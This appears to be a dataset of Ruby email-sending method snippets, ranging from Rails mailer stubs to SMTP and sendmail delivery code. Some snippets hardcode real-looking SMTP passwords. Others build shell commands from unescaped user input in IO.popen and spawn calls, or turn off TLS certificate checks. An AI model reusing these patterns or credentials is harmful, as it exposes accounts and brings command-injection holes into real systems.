"def sendmail\n run_mail_tools_queue(@command) do |msg, env|\n # Send the Message\n msg.puts @qmsg.message\n msg.close\n\n env.write('F' + @qmsg.return_path + \"\\0\")\n p @qmsg.recipients\n @qmsg.recipients.each { |r| env.write('T' + r + \"\\0\") }\n env.write(\"\\0\") # End of \"file\"\n end\n\n MailTools::Result.new(@qmsg, :queue, @exit_code)\n end",
"def send_confirmation_email_fork\n\n # we may get a command not found exception here\n begin\n f = IO.popen(\"/usr/sbin/sendmail -f \\\"#{EMAIL_SENDER}\\\" #{self.email}\", \"w\")\n rescue Exception => e\n logger.error \"send_confirmation_email: #{e}\"\n return false\n end\n\n if !f\n logger.error \"failed to invoke sendmail\"\n return false\n end\n\n logger.debug \"Sending mail to #{self.email}\"\n\n f.write <<CONF_MAIL;\nDate: #{Time.now.rfc822}\nSubject: User Signup App confirmation email\nTo: #{self.email}\nFrom: #{EMAIL_SENDER}\nContent-Type: text/html\n\nThanks for signing up with 'User Signup App'.<br>\nTo confirm your registration, please click on the link below:\n <a href=#{confirmation_url}>Confirmation link</a>\n\n<br><br>\n'User Signup App Team'\n\nCONF_MAIL\n\n f.close\n\n # Note that sendmail exiting with 0 does not guarantee the message was\n # delivered, but checking the exit code is better than nothing.\n logger.debug \"sendmail exit code=#{$?}\"\n\n return $?==0\n end",
"def in_progress\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"def assembleAndSendEmail(status_hash, order_hash)\n\t\temail_template = $CONFIG[:email_template]\n\t\torder_hash[:body] = email_template.gsub('[stylesheet]', $CONFIG[:email_stylesheet]).gsub('[message_content]', order_hash[:message]).gsub('[order_number]', order_hash[:order_number])\n\t\t\n\t\t\tbegin\n\t\t\t\tsendMail(order_hash)\n\t\t\trescue\n\t\t\t\tstatus_hash[:status] = 1\n\t\t\t\tstatus_hash[:msg] = 'unable to send email'\n\t\t\tend \n\n\tend",
"def send!\n raise \"job #{job.backup_id} has no email option\" unless job.options[:email]\n # define local variables for closure over Mail.new\n from_address = settings['email_from']\n to_address = job.options[:email]\n subject_text = \"Backup of RDS #{job.rds_id} (job ID #{job.backup_id})\"\n body_text = body\n mail = Mail.new do\n from from_address\n to to_address\n subject subject_text\n body \"#{body_text}\\n\"\n end\n mail.deliver!\n end",
"def send_email\n return true unless RunLevel.is_normal?\n\n log_msg = \"SEND #{flavor} \" \\\n \"from=#{user&.login || \"nil\"} \" \\\n \"to=#{to_user&.login || \"nil\"} \" +\n queued_email_integers.map { |x|\n \"#{x.key}=#{x.value}\"\n }.join(\" \") +\n queued_email_strings.map do |x|\n \"#{x.key}=\\\"#{x.value}\\\"\"\n end.join(\" \")\n self.class.debug_log(log_msg)\n current_locale = I18n.locale\n result = false\n if user.present? && user == to_user\n unless Rails.env.test?\n raise(\"Skipping email with same sender and recipient: #{user.email}\\n\")\n end\n else\n result = deliver_email\n end\n I18n.locale = current_locale\n result\n rescue StandardError => e\n warn(\"ERROR CREATING EMAIL\")\n warn(log_msg)\n warn(e)\n warn(e.backtrace)\n I18n.locale = current_locale\n false\n end",
"def order_shipped\n@greeting = \"Hi\"\nmail :to => \"to@example.org\"\nend",
"def reserved_mail\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"def sendmail\n puts \"send mail \"\n puts @manifest.code \n\n @company = @manifest.company\n\n ActionCorreo.st_email(@manifest).deliver_now \n end",
"def recovery_trial (company, recipient)\n # layout variables\n @title = \"¿Necesitas ayuda con tu cuenta AgendaPro?\"\n @header = \"Plan de prueba AgendaPro.\"\n\n mail(\n from: filter_sender(),\n reply_to: filter_sender(\"cuentas@agendapro.cl\"),\n to: recipient,\n subject: @title,\n template_path: \"mailers/agendapro\"\n )\n end",
"def send_mail(mail_from, mail_to, mail_subject, mail_attachment = nil, type = nil, mail_body = nil)\n begin\n attached_file = ''\n if !mail_attachment.nil?\n LoggerHelper.log_debug('rqa.log', 'Absolute path to attachment: ' + mail_attachment, __FILE__, __LINE__)\n\n ext = ApplicationHelper.get_rqa_config('attachment_extension')\n LoggerHelper.log_debug('rqa.log', 'Attachment extension in config: ' + ext, __FILE__, __LINE__)\n\n attached_file = File.basename(mail_attachment).gsub('.zip', '.' + ext)\n LoggerHelper.log_debug('rqa.log', 'Attachment file: ' + attached_file, __FILE__, __LINE__)\n\n attachments.inline[attached_file] = File.read(mail_attachment, mode: 'rb')\n LoggerHelper.log_info('rqa.log', 'Read attachment: done.', __FILE__, __LINE__)\n end\n if !type.nil?\n header = '{\"COMPANY\": \"WALLEM\", \"APPLICATION\": \"TPS RQA\", \"TYPE\": \"'\n header += type.to_s.upcase\n header += '\", \"VERSION\": \"<TBD>\", \"COMMENT\": \"<TBD>\"}'\n LoggerHelper.log_debug('rqa.log', 'HEADER: ' + header, __FILE__, __LINE__)\n\n headers['X-CUSTOM'] = header\n LoggerHelper.log_info('rqa.log', 'Write custom header: done.', __FILE__, __LINE__)\n end\n\n LoggerHelper.log_debug('rqa.log', 'Sent mail. FROM: ' + mail_from, __FILE__, __LINE__)\n LoggerHelper.log_debug('rqa.log', 'Sent mail. TO: ' + mail_to, __FILE__, __LINE__)\n LoggerHelper.log_debug('rqa.log', 'Sent mail. SUBJECT: ' + mail_subject, __FILE__, __LINE__)\n LoggerHelper.log_debug('rqa.log', 'Sent mail. ATTACHMENT: ' + attached_file, __FILE__, __LINE__)\n\n if mail_body.nil?\n LoggerHelper.log_info('rqa.log', 'Body is null => using body template.', __FILE__, __LINE__)\n mail(from: mail_from, to: mail_to, subject: mail_subject).deliver!\n else\n mail(from: mail_from, to: mail_to, subject: mail_subject, body: mail_body).deliver!\n end\n LoggerHelper.log_info('rqa.log', 'Sent mail: done and successfully.', __FILE__, __LINE__)\n rescue => ex\n LoggerHelper.log_error('rqa.log', ex.message, __FILE__, __LINE__)\n LoggerHelper.log_error('rqa.log', ex.backtrace.join(\"\\n\").to_s, __FILE__, __LINE__)\n return false\n end\n return true\n end",
"def send_email\n @logger.debug { \"=================== Sending email ===================\" }\n @logger.debug { @opts }\n @logger.debug { \"=================== Sending email ===================\" }\n error = nil\n begin\n loop do\n open_socket\n write_helo\n err = write_mail_from\n (error = err; break) if !err.include? \"Ok\"\n err = write_mail_to\n (error = err; break) if !err.include? \"Ok\"\n err = write_mail_data\n (error = err; break) if !err.include? \"Ok\"\n write_quit\n break\n end\n rescue => exception\n error = exception.inspect + \"\\n\"\n @log += exception.inspect + \"\\n\"\n end\n puts @log\n return @log, error\n end",
"def mail_flush\n @mails_mutex.synchronize do\n self.log_puts(\"Flushing mails.\") if @debug\n \n if @mails_waiting.empty?\n self.log_puts(\"No mails to flush - skipping.\") if @debug\n return false\n end\n \n self.log_puts(\"Trying to ping Google to figure out if we are online...\") if @debug\n status = Ping.pingecho(\"google.dk\", 10, 80)\n if !status\n self.log_puts(\"We are not online - skipping mail flush.\")\n return false #Dont run if we dont have a connection to the internet and then properly dont have a connection to the SMTP as well.\n end\n \n #Use subprocessing to avoid the mail-framework (activesupport and so on, also possible memory leaks in those large frameworks).\n self.log_puts(\"Starting subprocess for mailing.\") if @debug\n require \"ruby_process\"\n ::Ruby_process::Cproxy.run do |data|\n subproc = data[:subproc]\n subproc.static(:Object, :require, \"rubygems\")\n subproc.static(:Object, :require, \"mail\")\n subproc.static(:Object, :require, \"#{Knj.knjrbfw_path}/../knjrbfw.rb\")\n \n self.log_puts(\"Flushing emails.\") if @debug\n @mails_waiting.each do |mail|\n begin\n self.log_puts(\"Sending email: #{mail.__id__}\") if @debug\n if mail.send(:proc => subproc)\n self.log_puts(\"Email sent: #{mail.__id__}\") if @debug\n @mails_waiting.delete(mail)\n end\n rescue Timeout::Error\n #ignore - \n rescue => e\n @mails_waiting.delete(mail)\n self.handle_error(e, :email => false)\n end\n \n sleep 1 #sleep so we dont take up too much bandwidth.\n end\n end\n \n return nil\n end\n end",
"def run_ar_sendmail\n run_options = {\n :chdir => Rails.root,\n :rails_env => 'test',\n :log_level => 'debug'\n }\n ArMailerRevised::Mailman.new(run_options).run\n end",
"def send_email(final_location,user_email)\n\n#This variable is used to store the email headers\nmessage =<<EOF\nFrom: LUCNHINATOR! <FROM@gmail.com>\nTo: RECEIVER <TO@gmail.com>\nSubject: Your Lunch Location!\nThe following are information regarding your lunch location\nEOF\n\n\n #Using Block\n smtp = Net::SMTP.new('smtp.gmail.com', 587 ) #intialise the SMTP gmail protocol to be used\n smtp.enable_starttls #To start the TTL\n smtp.start('gmail.com', 'lunchinatorassignment@gmail.com', 'lunchinator2019', :login) do |smtp| #After logging in,it would start to create the email and send it\n smtp.send_message (message + \"\\n Location Name: \" + final_location.name + \"\\n Location Address: \" + final_location.address + \"\\n Cuisine Type: \" + final_location.cuisine + \"\\n Healthy option?: \" + final_location.healthy + \"\\n Halal or Non-Halal: \" + final_location.halal + + \"\\n Price Range: \" + final_location.price ) ,'lunchinatorassignment@gmail.com', user_email\n #The line above is used to send the email using the given message structure.\n #The sender email and user_email is defined as the last 2 values in the line.\n #lunchinatorassignment@gmail.com is the sender email and the user_email is the recipient\n\n\n smtp.finish #end the process\n end\nend",
"def completed\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"def send_alert_cleared_email(asq, email_delivery)\n # FIXFIX remove these dumb raises and puts\n @asq = asq\n @email_delivery = email_delivery\n @subject = \"Your monitor has cleared: #{@asq.name}\"\n # attach_logo('cleared.png')\n mail to: @email_delivery.to, subject: @subject\n end",
"def weekly\n @greeting = \"Hello\"\n mail subject: args[:subject], to: args[:emails]\n mail to: \"to@example.org\"\n end",
"def deliver(emails)\n settings = [\n smtp_settings[:domain],\n (smtp_settings[:user] || smtp_settings[:user_name]),\n smtp_settings[:password],\n smtp_settings[:authentication]\n ]\n\n smtp = Net::SMTP.new(smtp_settings[:address], smtp_settings[:port])\n if smtp.respond_to?(:enable_starttls_auto)\n smtp.enable_starttls_auto unless smtp_settings[:tls] == false\n else\n settings << smtp_settings[:tls]\n end\n\n smtp.start(*settings) do |session|\n @failed_auth_count = 0\n until emails.empty? do\n email = emails.shift\n begin\n res = session.send_message email.mail, email.from, email.to\n email.destroy\n log \"sent email %011d from %s to %s: %p\" %\n [email.id, email.from, email.to, res]\n rescue Net::SMTPFatalError => e\n log \"5xx error sending email %d, removing from queue: %p(%s):\\n\\t%s\" %\n [email.id, e.message, e.class, e.backtrace.join(\"\\n\\t\")]\n email.destroy\n session.reset\n rescue Net::SMTPServerBusy => e\n log \"server too busy, stopping delivery cycle\"\n return\n rescue Net::SMTPUnknownError, Net::SMTPSyntaxError, TimeoutError, Timeout::Error => e\n email.last_send_attempt = Time.now.to_i\n email.save rescue nil\n log \"error sending email %d: %p(%s):\\n\\t%s\" %\n [email.id, e.message, e.class, e.backtrace.join(\"\\n\\t\")]\n session.reset\n end\n end\n end\n rescue Net::SMTPAuthenticationError => e\n @failed_auth_count += 1\n if @failed_auth_count >= MAX_AUTH_FAILURES then\n log \"authentication error, giving up: #{e.message}\"\n raise e\n else\n log \"authentication error, retrying: #{e.message}\"\n end\n sleep delay\n rescue Net::SMTPServerBusy, SystemCallError, OpenSSL::SSL::SSLError\n # ignore SMTPServerBusy/EPIPE/ECONNRESET from Net::SMTP.start's ensure\n end",
"def setup_mail(record, action)\n default_url_options[:host] = Spree::Config[:site_url]\n initialize_from_record(record)\n mail headers_for(action)\n end",
"def late(receiver)\n @greeting = \"Hi\"\n mail to: receiver, subject: \"Hi\"\n end",
"def setup_email(user, payment)\n mail = Mail.deliver do\n to user.email\n from 'FoodCircles <hey@joinfoodcircles.org>'\n subject \"Got your Voucher for #{payment.offer.venue.name}\"\n reply_to 'used@inbound.foodcircles.net'\n html_part do\n content_type 'text/html; charset=UTF-8'\n body \"<table width = '550px'><tr><td style = font-size:12pt; font-family:Arial><p style= text-align: justify;>Print this email or just show it off on a fancy electronic device.</p>\n <p style= text-align: justify>\n <b>confirmation code:</b> #{payment.code}<br>\n <b>good for:</b> #{payment.offer.name}<br>\n <b>only at:</b> #{payment.offer.venue.name}<br>\n <b>with a minimum of:</b> #{payment.offer.min_diners} diners<br>\n <b>expiring:</b> #{30.days.from_now.to_date}</p><br>\n <b>3 steps to redeem:</b>\n <p>\n <b>1)</b> Show server this message before you order. They should jot your code down and confirm.<br>\n <b>2)</b> Order regular food or drink for each person in party.<br>\n <b>3)</b> Mark Voucher used by following this link! <a href=\\\"http://staging.foodcircles.net/payment/used?code=#{payment.code}&source=email\\\">Mark Voucher Used</a></br>\n </p><br><br>\n Enjoy!<br><br>\n Contact support at <b>support@joinfoodcircles.org</b> if you have any concerns or questions whatsoever.<br><br><br>\n <h3><u>FOR SERVERS:</u></h3>\n <p style= text-align: justify;><b>Write down the confirmation code on the table's receipt or your POS system</b>. Place a \\\"Buy One, Feed One\\\" placard on the guest's table, and mark a tally on your chalkboard (if available). Call us at 312 945 8627 with any questions!</p></td></tr></table>\"\n end\n end\n end",
"def map_ready(order)\n @greeting = \"Hi\"\n @order = order;\n\n mail to: order.email\n end",
"def confirm_booksbymail_email(user, bib, values)\n @to = \"bkbymail@pobox.upenn.edu\"\n @from = \"#{user.name} <#{user.data['email']}>\"\n @subject = \"Books by Mail Request\"\n\n @title = values['title']\n @bibid = values['bibid']\n @author = values['author']\n @publication = values['publication']\n @callno = values['call_no']\n @volume = values['volume']\n @comments = values[:comments]\n @patronname = user.name \n @patronemail = values['email']\n @pennid = user.data['penn_id']\n\n if Rails.env.development?\n @subject = \"TEST \" + @subject + \" (to: #{@to}, from: #{@from})\"\n @to = ENV['DEVELOPMENT_EMAIL']\n @from = ENV['DEVELOPMENT_EMAIL']\n end\n\n mail(to: @to,\n from: @from,\n subject: @subject,\n template_name: 'confirm_booksbymail')\n end",
"def mailboxer_email(object)\n shouldSendEmail = true\n email if shouldSendEmail\n end",
"def start(password)\n\n # This checks to make sure a user has uploaded data to be sent\n if data.blank?\n return { success: false, message: \"Please upload data to send emails!\" } \n end\n \n # This is an initalization of the lists of items that will be sent to the mailer\n emails = []\n subjects = []\n templates = []\n files = campaign.file_paths\n\n # Parse the CSV and aquire the headers\n rows = CSV.parse(data, headers: true)\n headers = rows.headers\n\n # Iterate through the rows in the CSV\n rows.each_with_index do |row, index|\n # Seed the subjects and templates with the default data\n subjects[index] = subject\n templates[index] = template.gsub(\"<p><br></p>\", \"\")\n\n # Iterate through each of the columsn in the row\n headers.each do |header|\n # Clean the header by parametrizing it and changing dashes to underscores\n cleanHeader = header.parameterize.underscore\n\n # Check if you are in the email column\n if cleanHeader == \"email\"\n # If you are in the email column, and the email is not a valid email, stop the sending process\n if !valid_email?(row[header])\n return { success: false, message: \"You seem to have invalid emails in your CSV. Please reupload and try again!\" } \n end\n\n # Add the current email to email list\n emails << row[header]\n end \n\n # Update the template at the proper index with the variables filled in\n subjects[index] = subjects[index].gsub(\"{{#{cleanHeader}}}\", row[header]) \n templates[index] = templates[index].gsub(\"{{#{cleanHeader}}}\", row[header]) \n end\n end\n\n # Calls email service to mass send the emails (or at least start the process)\n send_email = EmailService.bulk_email(credential, emails, subjects, templates, files, password)\n\n # If email sending process was started, return true, otherwise return false and message\n if send_email[:success]\n return { success: true }\n else\n return { success: false, message: send_email[:message] }\n end\n end",
"def send_email_if_needed\n \tif self.is_response\n \t\tlogger.info \"Send Email\"\n \t\tMessageMailer.reply_email( self ).deliver\n \tend\n end",
"def product_back_in_inventory\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"def antwort\n @greeting = \"Hi\"\n\n mail :to => \"to@example.org\"\n end",
"def package\n raise \"Missing from address\" if self.from.nil?\n\n begin \n @envelope = TMail::Mail.new()\n rescue => e\n begin\n require 'tmail'\n @envelope = TMail::Mail.new()\n rescue MissingSourceFile, Gem::LoadError => e\n logger.error(\"TMail Gem wasn't found. Please install if you want to send mail.\")\n end\n end\n \n # http://tmail.rubyforge.org/rdoc/index.html\n @envelope.mime_version = \"1.0\"\n @envelope.charset = self.charset\n @envelope.message_id = self.message_id\n @envelope.from = [self.from]\n @envelope.to = [self.to] if self.to\n @envelope.cc = [self.cc] if self.cc\n @envelope.bcc = [self.bcc] if self.bcc\n @envelope.date = self.date\n @envelope.subject = self.subject\n \n html = TMail::Mail.new()\n html.body = self.render_result\n html.set_content_type('text','html')\n \n @envelope.parts << html\n @envelope.set_content_type('multipart', 'mixed') # needs to be set last or throws an error\n end",
"def send_email(gmail, body, mail_address)\n\n body_content = body\n mail_address = mail_address\n gmail = gmail\n\n gmail.deliver do\n to mail_address\n\n subject \"[Presentation] - The Hacking Project - Formation d'informatique gratuite\"\n html_part do\n content_type 'text/html; charset=UTF-8'\n body body_content\n end\n puts \"mail sent to #{mail_address}\"\n #in order to stay below the 10 mail / sec limit\n sleep(1)\n\n end\nend",
"def shipped\n @greeting = \"Hi\"\n\n mail to: \"tariq.sulehir@khaleef.com\"\n end",
"def do_reply(subject, msg)\n full_msg=<<END_OF_MESSAGE\nFrom: #{@test_data['user_name']}\nTo: #{@test_data['reply_email']}\nSubject: #{subject}\nDate: #{Time.now}\n\n#{msg}\nEND_OF_MESSAGE\n Net::SMTP.enable_tls(OpenSSL::SSL::VERIFY_NONE)\n Net::SMTP.start(@test_data['smtp_host'], @test_data['smtp_port'], @test_data['mail_domain'], @test_data['user_name'], @test_data['user_passwd'], :login) { |smtp|\n smtp.send_message(full_msg, @test_data['user_name'], @test_data['reply_email'])\n }\nend",
"def free_email(*args, **_arg1, &block); end",
"def deliver!(mail)\n # check validity\n check_delivery_params(mail)\n validate!(mail)\n\n create_factory()\n\n persist_email(mail)\n\n chain_delivery(mail)\n end",
"def sendemail(subject,content,to=nil) \n from = \"saq@xj.cninfo.net\" \n to = [\"saq@xj.cninfo.net\"] if to.nil? \n sendmessage = \"Subject: \"+subject +\"\\n\\n\"+content \n smtp = Net::SMTP.start(\"mail.xj.cninfo.net\",25,\"mail.xj.cninfo.net\",'saq','wei720503',:login) \n smtp.send_message sendmessage,from,to \n smtp.finish \n end",
"def issued\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"def report_generated\n @greeting = \"Hi\"\n\n mail :to => \"to@example.org\"\n end",
"def bar(to,a,b)\n @a = a\n @b = b\n mail :to => to\n end",
"def send_confirmation_email\n\t\tRentersConfirmationJob.perform_later self\n OwnersConfirmationJob.perform_later self\n\tend",
"def order_cancelled\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"def exit_reminder_mail(horafinal, correo, placa, numspace, floorspace)\n @numspace = numspace\n @floorspace = floorspace\n @horafinal = ((Time.parse(horafinal) - Time.now) / 60).to_i\n @placa = placa\n mail(to: correo, subject: 'Your car reminder')\n end",
"def after_deliver; end",
"def send_email\n AlertNotifier.delay.email_zero_inventory(self)\n end",
"def send_welcome_email\n #if Rails.env.production?\n if email.present?\n if followed_by >= 0\n # to send emails in delayed jobs use\n # UserMailer.instauser_welcome_email(id).delay.deliver!\n UserMailer.instauser_welcome_email(self.id).deliver\n else\n UserMailer.instauser_reject_email(self.id).deliver!\n end\n end\n #end\n end",
"def deliver!(unsanitary = false)\n sent = []\n error = []\n \n update_attributes(:delivery_started_at => Time.now.utc) unless delivery_started_at\n \n if unsanitary\n SanitizeEmail.unsanitary { process_delivery }\n else\n process_delivery\n end\n \n update_attributes(:queued => false, :delivered => true, :delivery_finished_at => Time.now.utc)\n end",
"def process_rcpt_to rcpt\n unless @state.include?(:mail_from)\n send_data \"503 MAIL is required before RCPT\\r\\n\"\n else\n succeeded = proc {\n send_data \"250 Ok\\r\\n\"\n @state << :rcpt unless @state.include?(:rcpt)\n }\n failed = proc {\n send_data \"550 recipient is unacceptable\\r\\n\"\n }\n\n d = receive_recipient rcpt\n\n if d.respond_to?(:set_deferred_status)\n d.callback(&succeeded)\n d.errback(&failed)\n else\n (d ? succeeded : failed).call\n end\n\n=begin\n unless receive_recipient rcpt\n send_data \"550 recipient is unacceptable\\r\\n\"\n else\n send_data \"250 Ok\\r\\n\"\n @state << :rcpt unless @state.include?(:rcpt)\n end\n=end\n end\n end",
"def deliver_email\n#puts \"**** deliver_email: emails=#{emails}\"\n emails = @contact_info.map {|c| c[:email]}.compact.uniq\n self.subject ||= 'Message from SIM Nigeria'\n id_for_reply = self.following_up || id # a follow-up message uses id of the original msg\n#puts \"**** Messages#deliver_email response_time_limit=#{response_time_limit}\"\n outgoing = Notifier.send_group_message(:recipients=>emails, :content=>self.body, \n :subject => subject, :id => id_for_reply , :response_time_limit => response_time_limit, \n :bcc => true, :following_up => following_up) # send using bcc:, not to:\nraise \"send_email with nil email produced\" if outgoing.nil?\n outgoing.deliver\n # Mark all as being sent, but only if they have an email address\n # This is terribly inefficient ... need to find a way to use a single SQL statement\n sent_messages.each do |sm| \n sm.update_attributes(:msg_status => MsgSentToGateway) if sm.member.primary_email\n end\n end",
"def end_trial (company, recipient)\n # layout variables\n @title = \"Fin del período de prueba en AgendaPro\"\n @header = \"Aviso de fin del período de prueba. Si ya activaste tu cuenta, por favor ignora este correo.\"\n\n # view variables\n @chile = company.country.name == \"Chile\"\n @company = company\n @admin = @company.users.where(role_id: Role.find_by_name('Administrador General')).first\n sales_tax = company.country.sales_tax\n @plan_amount = company.company_plan_setting.base_price * company.computed_multiplier * (1 + sales_tax)\n\n mail(\n from: filter_sender(),\n reply_to: filter_sender(\"cuentas@agendapro.cl\"),\n to: recipient,\n subject: @title,\n template_path: \"mailers/agendapro\"\n )\n end",
"def mail(mail_args)\n raise \"'smtp_args' has not been given for the Hayabusa.\" if !@config[:smtp_args]\n \n @mails_queue_mutex.synchronize do\n count_wait = 0\n while @mails_waiting.length > 100\n if count_wait >= 30\n raise \"Could not send email - too many emails was pending and none of them were being sent?\"\n end\n \n count_wait += 1\n sleep 1\n end\n \n mailobj = Hayabusa::Mail.new({:hb => self, :errors => {}, :status => :waiting}.merge(mail_args))\n self.log_puts(\"Added mail '#{mailobj.__id__}' to the mail-send-queue.\") if debug\n @mails_waiting << mailobj\n \n #Try to send right away and raise error instantly if something happens if told to do so.\n if mail_args[:now] or @config[:mailing_instant]\n self.mail_flush\n raise mailobj.args[:error] if mailobj.args[:error]\n end\n \n return mailobj\n end\n end",
"def send_email\n # There is a deliver_later method which we could use\n InvoiceMailer.email_invoice(self).deliver_now\n self.sent_by_email = true\n self.save\n end",
"def send_email(exception_data, environment_data)\n email_template = File.open(File.expand_path(\n File.join(File.dirname(__FILE__), '../..', ['email_templates'],\n @email_options['template']))) {|f| f.read }\n\n email_data = @email_header.merge!(exception_data)\n email_data.merge!(environment_data) if environment_data\n email_data.merge!(:application_name => @email_options['application_name']) if @email_options['application_name']\n\n message = CGI::unescapeHTML(Mustache.render(email_template, email_data))\n\n Net::SMTP.start(@email_options[\"server\"]) do |smtp|\n smtp.send_message(message, @email_header[\"from\"], @email_header[\"to\"])\n end\n end",
"def getting_started\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"def perform_delivery_later(mail)\n QueuedMailing.enqueue(mail)\n end",
"def order_received(order)\n@order=order\nmail(:to => order.email, :subject => 'Pragmatic Toy Shop Order Confirmation')\nend",
"def order_received\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"def teardown\n ActionMailer::Base.deliveries.clear\n end",
"def deliver!(mail)\n delivery_method.deliver!(mail)\n end",
"def test_scheduled_email(recipient)\n @fullname = recipient.fullname\n @email = recipient.email\n @password = recipient.password\n @company_name = \"A&S Designs\"\n @support_email = \"support@codingsherpa.com\"\n @url = \"http://zdesign.codingsherpa.com\"\n \n logger.info \"AppLog: test_Scheudled_email \" + recipient.fullname\n \n mail(:to => recipient.email,\n :subject => \"Scheduled email from \" + @company_name + \"!\")\n end",
"def sofortkontakt\n @greeting = \"Hi\"\n\n mail :to => \"to@example.org\"\n end",
"def deliver\n newsletter_id = params[:id].to_i\n email_addr = params[:email].blank? ? params[:custom_email] : params[:email]\n\n # send_log_to = Rails.env == 'production' ? (Rails.application.class)::EMAIL_TO_DEFAULT : (Rails.application.class)::EMAIL_TO_DEVELOPER\n\n command = \"RAILS_ENV=#{Rails.env} #{Rails.root}/script/bash_runner.sh newsletter_emailer NEWSLETTER=#{newsletter_id}\"\n command += \" EMAIL_ADDR_OVERRIDE=#{email_addr}\" if email_addr\n command += \" &\"\n\n Rails.logger.warn(\"Sending newsletter with command #{command}\")\n pid = spawn(command)\n\n flash[:message] = \"started job_runner to do delivery of newsletter # #{newsletter_id} w/ pid #{pid}\"\n redirect_to :action => :show, :id => newsletter_id\n end",
"def deliver!(mail)\n @mail = mail\n Hermes::Gateway.new_mail mail_params\n # rescue Hermes::Error => e\n # Hermes::DebugHandler.apply(debug_information)\n # raise e\n end",
"def shipping_invoice_ready(invoice) \n @invoice = invoice\n sc = invoice.site.store_config\n mail(:to => sc.shipping_email, :subject => 'Order ready for shipping')\n end",
"def send_email(start_vec, end_vac, full_name, pto, type) \nMail.defaults do\n delivery_method :smtp,\n address: \"email-smtp.us-east-1.amazonaws.com\",\n port: 587,\n :user_name => ENV['a3smtpuser'],\n :password => ENV['a3smtppass'],\n :enable_ssl => true\n end\n email_body = \"#{full_name[0]} #{full_name[1]} is requesting #{type} for these dates #{start_vec} to #{end_vac}. They have #{pto}PTO days left to request. <a href= 'https://wv-timesheet-clock.herokuapp.com/vac_time_request'> To Reply Click Here . </a>\"\n mail = Mail.new do\n from ENV['from']\n to 'wvtimeclockdev@gmail.com'\n subject \"PTO Request\"\n\n html_part do\n content_type 'text/html'\n body email_body\n end\n end\n mail.deliver!\nend",
"def lost_brain\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"def lost_brain\n @greeting = 'Hi'\n\n mail to: 'to@example.org'\n end",
"def lost_brain\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"def deliver_mail\n @invitation.deliver_mail\n track 'Invitation Deliver Mail', @invitation\n redirect_to account_invitations_path, notice: 'Invitation email has been sent.'\n end",
"def resend_mail\n if step_active? && merchant_session_active?\n # send an email verification mail to merchant\n @merchant = Merchant.find(session[:temporary_merchant_id])# get merchant details \n MerchantsMailer.registration_email(@merchant).deliver_later\n render 'new'\n return\n else\n redirect_to root_path\n return\n end\n end",
"def atm_checkout_completed_successfully!\n self.update_column(:payment_status, \"order_placed_ATM\")\n publish(:pub_atm_checkout_completed_successfully, self) # to listener\n LadyboomailerJob.new.async.perform(LadybooMailer, :atm_checkout_completed_successfully, self) if @@sendmail\n LadyboomailerJob.new.async.perform(LadybooMailer, :order_placed, self) if @@sendmail\n #LadybooMailer.atm_checkout_completed_successfully(self).deliver if @@sendmail\n #LadybooMailer.order_placed(self).deliver if @@sendmail\n end",
"def resend_activation_email\n create_activation_digest\n save\n send_activation_email\n end",
"def send_mail_now(sender_mail, sender_name, sender_phone, msg)\n @sender_mail = sender_mail\n @sender_name = sender_name\n @sender_phone = sender_phone\n @feedback_msg = msg\n\n mail :to => [\"sysadmin@venki-spb.ru\", \"pavel.polushkin@gmail.com\", \"a_10@bk.ru\"], :subject => \"VENKI-SPB.RU \" + sender_name\n end",
"def anfrage\n @greeting = \"Hi\"\n\n mail :to => \"to@example.org\"\n end",
"def mail(headers={}, &block)\n # TODO: always send to support@bountysource.com and feedback@bountysource.com\n # TODO: never send to qa+?@bountysource.com or null-#@bountysource.com\n\n # doesn't actually do anything, sorry!\n faux_mailer = OpenStruct.new(deliver: nil)\n\n if @unsubscribe_category\n # check if they unsubscribed? (checks person, linked_accounts, emails, etc).\n categories = ['all', @unsubscribe_category]\n categories << 'bounty_alerts' if @unsubscribe_category['bounty_alerts']\n categories << 'team_updates' if @unsubscribe_category['team_updates']\n return faux_mailer if Unsubscribe.d?(headers[:to], categories)\n\n url = \"#{Api::Application.config.www_url}notifications/unsubscribe\"\n params = {\n email: @unsubscribe_token,\n type: @unsubscribe_category\n }\n @unsubscribe_link = \"#{url}?#{params.to_param}\"\n end\n\n # add a prefix to the email in dev/qa mode\n headers[:subject] = \"[#{ENV['SMTP_SUBJECT_PREFIX']}] #{headers[:subject]}\" unless ENV['SMTP_SUBJECT_PREFIX'].blank?\n\n # do we really send an email?\n if ENV['SMTP_WHITELIST'].blank? || ENV['SMTP_WHITELIST'].split(',').include?(headers[:to])\n super headers, &block\n else\n Rails.logger.debug \"MOCK EMAIL: #{headers[:to]} -- #{headers[:subject]}\"\n return faux_mailer\n end\n end",
"def order_budget()\n \n @greeting = \"Hi\"\n\n mail :to => \"docs1006@prodigy.net.mx\", :subject => 'Pragmatic Store Order Confirmation'\n end",
"def deliver_email(mail)\n if mail.respond_to?(:deliver_later)\n mail.deliver_later\n else\n mail.deliver\n end\n end",
"def send_email\n AlertNotifier.delay.email_back_office_announcement(self)\n end",
"def purchase_email\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"def order_shipped\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"def order_shipped\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"def order_shipped\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"def order_shipped\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"def order_send(order)\n @greeting = \"Hi\"\np 1111111111\np order\n @orde_email = order.email\n\n mail(:to => order.email, :subject => \"Your Order\")\n end",
"def notify\n @greeting = \"Just a test\"\n mail(to: \"cneumann@marsmonitoring.com\") #.deliver_later\n end",
"def sub_request\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
